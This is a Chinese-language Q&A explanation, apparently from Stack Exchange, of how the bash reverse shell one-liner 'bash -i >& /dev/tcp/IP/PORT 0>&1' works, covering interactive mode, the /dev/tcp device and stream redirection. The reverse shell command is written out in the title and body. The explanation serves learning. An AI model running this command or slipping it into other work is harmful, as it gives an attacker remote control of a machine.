请求解释反向Shell命令bash -i >& /dev/tcp/"IP"/"PORT" 0>&1的工作原理
反向Shell命令
bash -i >& /dev/tcp/"IP Address"/"Port" 0>&1 完全解析 先拆解命令的每个部分,一步步讲明白:
1. bash -i
启动交互式Bash Shell,-i是interactive的缩写。这种模式下Shell会主动接收输入、返回输出,而非像脚本那样一次性执行完就退出,这是实现远程控制的基础。
2. /dev/tcp/"IP"/"Port"
这是Bash的特殊虚拟设备文件,并非磁盘上的真实文件。当Bash打开它时,会自动发起TCP连接到指定的IP地址和端口——这就是“反向Shell”的核心逻辑:目标机器主动向攻击机的监听端口发起连接,区别于攻击机主动连目标的正向Shell。
3. 重定向逻辑(重点)
Linux系统默认有三个标准数据流,编号分别是:
0:标准输入(stdin),默认来源是键盘1:标准输出(stdout),默认输出到屏幕2:标准错误(stderr),默认输出到屏幕的错误提示
① >& /dev/tcp/...
这里的>&是Bash的特殊重定向符号,作用是同时把标准输出(1)和标准错误(2)重定向到后面的目标——也就是刚才建立的TCP连接。换句话说,这个交互式Bash的所有正常输出、错误提示,都会通过TCP连接发送给攻击机。
② 0>&1
这个是把标准输入(0)重定向到标准输出(1)当前指向的位置——也就是同一个TCP连接。这样一来,攻击机通过TCP连接发送的内容,就会变成这个Bash的输入,相当于攻击机可以直接在自己的终端输入命令,让目标机器上的Bash执行。
完整流程串起来
- 目标机器执行命令,启动交互式Bash
- 主动和攻击机的指定IP+端口建立TCP连接
- 把Bash的所有输出(正常+错误)通过TCP发回攻击机
- 把Bash的输入源改成TCP连接,接收攻击机发送的命令
- 最终实现:攻击机在自己的监听终端里,能看到目标Bash的输出,也能输入命令让目标执行,完全控制目标机器的Shell
内容的提问来源于stack exchange,提问作者Shinji_LinX
相关产品推荐
相关产品推荐

